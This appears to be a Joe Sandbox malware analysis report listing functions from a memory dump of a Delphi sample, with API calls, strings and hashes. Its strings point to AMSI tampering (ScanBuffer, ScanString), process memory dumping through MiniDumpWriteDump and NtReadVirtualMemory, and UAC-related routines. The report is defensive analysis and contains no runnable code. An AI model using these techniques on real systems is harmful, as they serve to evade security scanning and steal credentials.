ScanBuffer, xrefs: 02B98D0C, 02B98D94, 02B9912F, 02B99244, 02B992E1, 02B9961A, 02B997A1, 02B99934, 02B99B19, 02B99C2E, 02B99DEC, 02B99F5C, 02B9A0CF, 02B9A2C3, 02B9A4E1, 02B9A627
BCryptQueryProviderRegistration, xrefs: 02B9A3C7
ScanString, xrefs: 02B98C42, 02B98DED, 02B98F9B, 02B993C3, 02B995A9, 02B99730, 02B99BBD, 02B99D7B, 02B99EEB, 02B9A05E, 02B9A349, 02B9A3F6
MiniDumpWriteDump, xrefs: 02B9A554
bcrypt, xrefs: 02B9A3B8, 02B9A3CC, 02B9A3E0
sppc, xrefs: 02B991B6
NtSetSecurityObject, xrefs: 02B9A6CF
advapi32, xrefs: 02B9A545
OpenSession, xrefs: 02B98BE9, 02B9900C, 02B990BE, 02B9A48F, 02B9A5D5
NtOpenProcess, xrefs: 02B9A6E3
SLGetLicenseInformation, xrefs: 02B9919F
NtReadVirtualMemory, xrefs: 02B9A460
UacInitialize, xrefs: 02B98E72, 02B991D3, 02B99352, 02B99456, 02B99852, 02B999C6, 02B9A170
ntdll, xrefs: 02B9A465, 02B9A479, 02B9A531, 02B9A6D4, 02B9A6E8
BCryptVerifySignature, xrefs: 02B9A3B3

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Library$Thread$ContextFreeLoadMemoryVirtual$AddressAllocateProcResumeWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4180202596-51457883
Opcode ID: 3bc68f6e76866b446f4c02e97da6e817cf4926bdf85da57035bc258e7a0cabbc
Instruction ID: e56dc092587a7425e98617c74bdd4ca2b52ea06b1914e488ed30daccc74e0ae1
Opcode Fuzzy Hash: 3bc68f6e76866b446f4c02e97da6e817cf4926bdf85da57035bc258e7a0cabbc
Instruction Fuzzy Hash: 7AE2E635A5011A9FDF11FBA4DC91ADE73BAAF89310F1084F1E109AB224DE35AE46CF51

Function 02B98BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98824: LoadLibraryA.KERNEL32(00000000,00000000,02B9890B), ref: 02B98858
Part of subcall function 02B98824: FreeLibrary.KERNEL32(74FC0000,00000000,02BE1388,Function_000065D8,00000004,02BE1398,02BE1388,05F5E0FF,00000040,02BE139C,74FC0000,00000000,00000000,00000000,00000000,02B9890B), ref: 02B988EB

GetThreadContext.KERNEL32(00000000,02BE1420,ScanString,02BE13A4,02B9A77C,UacInitialize,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,UacInitialize,02BE13A4), ref: 02B99442

Part of subcall function 02B979B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B97A27

Strings

MiniDumpReadDumpStream, xrefs: 02B9A568
Initialize, xrefs: 02B98F2A, 02B99538, 02B996BF, 02B99AA8, 02B99D0A, 02B99E7A, 02B99FED, 02B9A252, 02B9A583
UacScan, xrefs: 02B98CB3, 02B98ECB, 02B994C7, 02B998C3, 02B99A37, 02B9A1E1, 02B9A679
I_QueryTagInformation, xrefs: 02B9A540
NtOpenObjectAuditAlarm, xrefs: 02B9A474, 02B9A52C
BCryptRegisterProvider, xrefs: 02B9A3DB
dbgcore, xrefs: 02B9A559, 02B9A56D
ScanBuffer, xrefs: 02B98D0C, 02B98D94, 02B9912F, 02B99244, 02B992E1, 02B9961A, 02B997A1, 02B99934, 02B99B19, 02B99C2E, 02B99DEC, 02B99F5C, 02B9A0CF, 02B9A2C3, 02B9A4E1, 02B9A627
BCryptQueryProviderRegistration, xrefs: 02B9A3C7
ScanString, xrefs: 02B98C42, 02B98DED, 02B98F9B, 02B993C3, 02B995A9, 02B99730, 02B99BBD, 02B99D7B, 02B99EEB, 02B9A05E, 02B9A349, 02B9A3F6
MiniDumpWriteDump, xrefs: 02B9A554
bcrypt, xrefs: 02B9A3B8, 02B9A3CC, 02B9A3E0
sppc, xrefs: 02B991B6
NtSetSecurityObject, xrefs: 02B9A6CF
advapi32, xrefs: 02B9A545
OpenSession, xrefs: 02B98BE9, 02B9900C, 02B990BE, 02B9A48F, 02B9A5D5
NtOpenProcess, xrefs: 02B9A6E3
SLGetLicenseInformation, xrefs: 02B9919F
NtReadVirtualMemory, xrefs: 02B9A460
UacInitialize, xrefs: 02B98E72, 02B991D3, 02B99352, 02B99456, 02B9A170
ntdll, xrefs: 02B9A465, 02B9A479, 02B9A531, 02B9A6D4, 02B9A6E8
BCryptVerifySignature, xrefs: 02B9A3B3

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Library$AllocateContextFreeLoadMemoryThreadVirtual
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4236972194-51457883
Opcode ID: b0a8ff2def0f5cd7491d10d4cf3180583b3961197b79c58d1cb7e747443585bb
Instruction ID: a0c72d54ce5fbdb53d6ce4596711ce11cad0a18ee8b1695d1722386a183ce621
Opcode Fuzzy Hash: b0a8ff2def0f5cd7491d10d4cf3180583b3961197b79c58d1cb7e747443585bb
Instruction Fuzzy Hash: 22E2D635A5011A9FDF11FBA4DC91ADE73BAAF89310F1084F1E109AB224DE35AE46CF51

Function 02B858B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B858D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02B858E8
lstrcpynA.KERNEL32(?,?,?), ref: 02B85918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B8597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B859B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B859C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B859D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B87338,02B80000,02BAD790), ref: 02B859E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B87338,02B80000), ref: 02B85A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B87338), ref: 02B85A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02B85A45

Strings

\, xrefs: 02B859F5
kernel32.dll, xrefs: 02B858CC
GetLongPathNameA, xrefs: 02B858DF

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 4573de47a3e10493b49ca72d7b493c51fd3a6bb6065726c6ffed4226b08a52d5
Instruction ID: 78037737497b0d3f00325eaeac12c48656ba8a9215c633ecf892bccdd2660811
Opcode Fuzzy Hash: 4573de47a3e10493b49ca72d7b493c51fd3a6bb6065726c6ffed4226b08a52d5
Instruction Fuzzy Hash: FA415C71D00259AFDB20EAE8CCC8AEEB3ADEB08310F4545E5A15CE7241E770AA45CF54

Function 02B85B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B85B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B85BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B85BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B85BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B85C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B85C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B85C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B85C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B85C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B85C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02B85AE4
Software\Borland\Locales, xrefs: 02B85AA8, 02B85AC6

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 2cdaac62cca5567b1c7c5ac2aff5a96723207d703ffdc93bfd39531b8683dc98
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 21318471E4021C2AEB35EEB89C85FEF77AD9B04380F4501E1964CE6181DB749E84CF91

Function 02C24C8C Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee65118e21ad850d673eeb422f47b08f07919d3d7449f3c795c8270207e56b85
Instruction ID: b8b9acfb9abd3026bcd2ad8cb497bd4f13285487a1d6fb774b9ce099c53aa44c
Opcode Fuzzy Hash: ee65118e21ad850d673eeb422f47b08f07919d3d7449f3c795c8270207e56b85
Instruction Fuzzy Hash: 41020D71E001299BDF28CFA9C8807AEF7F1EF88314F154169D915E7384DB31AA45CB90

Function 02C32960 Relevance: 2.9, APIs: 1, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02C32AA6

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 574624ca80bd3090ad8ffd14a1ba33031806d4e91f5e8e29c299907347f52519
Instruction ID: 5ba39a8ab09f7e4757c38f118a450af8577e12450aa4c23a2f397335d30ad914
Opcode Fuzzy Hash: 574624ca80bd3090ad8ffd14a1ba33031806d4e91f5e8e29c299907347f52519
Instruction Fuzzy Hash: 4FC24B71E086688FDB26CE28DD407E9B7B5EB84305F1449EAD84DE7240E775AE818F81

Function 02C12C87 Relevance: 1.8, Strings: 1, Instructions: 501COMMON

Download Yara Rule

Strings

0, xrefs: 02C12C93

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: a0300bf0e74490e07b48137b646e8018063fd0ad9baab8b1153cdb7e3f9059d1
Instruction ID: fa8f0d6572c74e849a51fc25bbaae835b8a18a7ae9050600e2e2dd25ec7b5bf9
Opcode Fuzzy Hash: a0300bf0e74490e07b48137b646e8018063fd0ad9baab8b1153cdb7e3f9059d1
Instruction Fuzzy Hash: 04126D366083158BD704DF75C892A1EB3E2BFC8714F15896DE899AB380DB74E8059F83

Function 02C066DE Relevance: 1.7, Strings: 1, Instructions: 435COMMON

Download Yara Rule

Strings

xC, xrefs: 02C066E1

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID: xC
API String ID: 0-2612284313
Opcode ID: d458ade9fa3e430e56a490dc559ca3233c0ac936792f1b09f2272965098b9e79
Instruction ID: d520aae8929b2d216974b20dfe282f8a3cb0a740583ea25d029f5fab448067fb
Opcode Fuzzy Hash: d458ade9fa3e430e56a490dc559ca3233c0ac936792f1b09f2272965098b9e79
Instruction Fuzzy Hash: ED0292716146528FC758CF2EE88063AB7E1EB8E306B45853EE495C7781EB34E931CB94

Function 02B87F5A Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02B87F7D

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction ID: b1f63745ac3f3c722d64e7c101b13e3215ace84cf0114bf9c2738571bfccfa55
Opcode Fuzzy Hash: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction Fuzzy Hash: 7C11C0B5A00209AFDB04DF99CD819EFF7F9EFC8704B14C569A509EB254E6719A01CB90

Function 02B8A74C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B8A76A

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction ID: 0d2da3e715386df9dc3f847760234b00ef292f80ff2195287f8744c0f78bb985
Opcode Fuzzy Hash: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction Fuzzy Hash: B2E0923570021417D311B5585C80AEAB3AD9758310F0041AAA90CC7341FEA09D408AE8

Function 02B8B714 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02BAC106,00000000,02BAC11E), ref: 02B8B722

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b55ecf5c71a4d3b20c721b975d93d8133e4585ecbfce8983f5b675dc26f2bdc8
Instruction ID: 6ed1f1a30976d67122a7252295a0808533abcfdbd2e49e9b1844f7d1f51d011c
Opcode Fuzzy Hash: b55ecf5c71a4d3b20c721b975d93d8133e4585ecbfce8983f5b675dc26f2bdc8
Instruction Fuzzy Hash: 8EF0D4789443029FD358EF28D542A2977E5FB49B94F8089A9E898C7780E734D824CF52

Function 02B8A798 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02B8BDFA,00000000,02B8C013,?,?,00000000,00000000), ref: 02B8A7AB

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction ID: 6360eb046ed9bbe6610f0eb93b80c417d709762e4dd0583c7a35c0a0dd1e9c1b
Opcode Fuzzy Hash: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction Fuzzy Hash: 54D05BBA30D1502AA210615A1D54D7B5BECCBC5761F00447EF54CC6240D2008C06D6B1

Function 02B89194 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02B89198

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction ID: 403bb07b511902f02fbf32892024513a148737767c0b597a6c10b1a2eb730c68
Opcode Fuzzy Hash: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction Fuzzy Hash: BBA01100808820028A803B280C022BA3288AA00A20FC80F80A8FC802E0EE2E022080E3

Function 02C1EF58 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 02C1F0C8

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

